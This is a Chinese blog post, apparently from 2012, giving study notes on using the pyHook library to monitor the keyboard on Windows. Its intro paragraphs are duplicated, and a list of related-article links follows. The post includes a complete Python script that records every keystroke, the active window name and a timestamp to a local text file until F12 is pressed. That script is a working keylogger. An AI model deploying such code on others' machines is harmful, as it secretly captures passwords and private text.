pyhooks实现键盘监控学习心得
2012-03-15 20:44
399 查看
pyhooks
下载:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/
API手册:http://pyhook.sourceforge.net/doc_1.5.0/
以上网站上提供了个使用的例子,另外安装pyhooks后,也会有一个例子的文件。于是拿来学习了一下,第一次运行时,提示没有pythoncom模块,就安装了pywin32,安装后,可以正常运行,但是会导致机器发卡,特别是中断程序运行后,鼠标会出现一段时间的自由晃动,找了半天原因,感觉主要是事件频率过高,程序会经常卡在pythoncom.PumpMessages()。
网上搜索了半天,看到有一帖子说是pythoncom.PumpMessages(n),n表示延迟时间,于是试着改了下,发现有一定效果,但不明显,后来想是不是因为没有终止程序,才会导致一直很卡呢,于是添加终止程序语句win32api.PostQuitMessage()。结果还算满意。
下载:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/
API手册:http://pyhook.sourceforge.net/doc_1.5.0/
以上网站上提供了个使用的例子,另外安装pyhooks后,也会有一个例子的文件。于是拿来学习了一下,第一次运行时,提示没有pythoncom模块,就安装了pywin32,安装后,可以正常运行,但是会导致机器发卡,特别是中断程序运行后,鼠标会出现一段时间的自由晃动,找了半天原因,感觉主要是事件频率过高,程序会经常卡在pythoncom.PumpMessages()。
网上搜索了半天,看到有一帖子说是pythoncom.PumpMessages(n),n表示延迟时间,于是试着改了下,发现有一定效果,但不明显,后来想是不是因为没有终止程序,才会导致一直很卡呢,于是添加终止程序语句win32api.PostQuitMessage()。结果还算满意。
# -*- coding: cp936 -*- import pythoncom import pyHook import time import win32api t='' asciistr='' keystr='' def onKeyboardEvent(event): global t,asciistr,keystr filename='d://test.txt' wrfile=open(filename,'ab') "处理键盘事件" if t==str(event.WindowName): asciistr=asciistr+chr(event.Ascii) keystr=keystr+str(event.Key) else: t=str(event.WindowName) if asciistr=='' and keystr=='': wrfile.writelines("\nWindow:%s\n" % str(event.Window)) wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名 wrfile.writelines("MessageName:%s\n" % str(event.MessageName)) wrfile.writelines("Message:%d\n" % event.Message) wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime())) else: wrfile.writelines("Ascii_char:%s\n" %asciistr) wrfile.writelines("Key_char:%s\n" %keystr) wrfile.writelines("\nWindow:%s\n" % str(event.Window)) wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名 wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime())) asciistr=chr(event.Ascii) keystr=str(event.Key) if str(event.Key)=='F12': #按下F12后终止 wrfile.writelines("Ascii_char:%s\n" %asciistr) wrfile.writelines("Key_char:%s\n" %keystr) wrfile.close() win32api.PostQuitMessage() return True if __name__ == "__main__": ''' 小五义:http://www.cnblogs.com/xiaowuyi ''' #创建hook句柄 hm = pyHook.HookManager() #监控键盘 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循环获取消息 pythoncom.PumpMessages(10000)
相关文章推荐
- pyhooks方法实现键盘监控源码示例
- Android 键盘监控的实现原理及过程
- Windows学习心得【弹出式菜单的实现】
- 键盘监控的实现Ⅲ——按键消息的修改(映射)
- 利用Hook技术实现键盘监控 --转
- 利用Hook技术实现键盘监控
- YARN源码学习(五)-----NN,DN,RM在Ganglia上的监控实现机理
- 经过几个月学习python,运维管理平台实现与学习心得
- 第一周:PageRank学习心得--JAVA编程实现
- linux下raid学习心得和raid0的实现
- C#钩子实现简单鼠标键盘的监控和屏蔽
- 实现键盘监控
- C语言实现栈算法学习心得
- WCF学习心得------(二)设计和实现服务协定
- java如何实现系统监控、系统信息收集、sigar开源API的学习
- Linux-C基础知识学习:C语言作业-从键盘输入一行字符,统计其中有多少个字母, 数字,空格(用数组实现,gets)。
- 学习jenkins+git+gradle实现Android持续集成心得总结
- ORM,ASP.NET中ORM学习,ASP.NET中ORM学习心得,WEB2.0中ORM实现原理,Asp.net简单ORM示例源码详细讲解,Asp.net2.0:如何使用ObjectDataSource(配合ORM )
- 【Qt5开发及实例】32、实现键盘的监控操作
- java基础学习心得——自定义函数实现LineNumberReader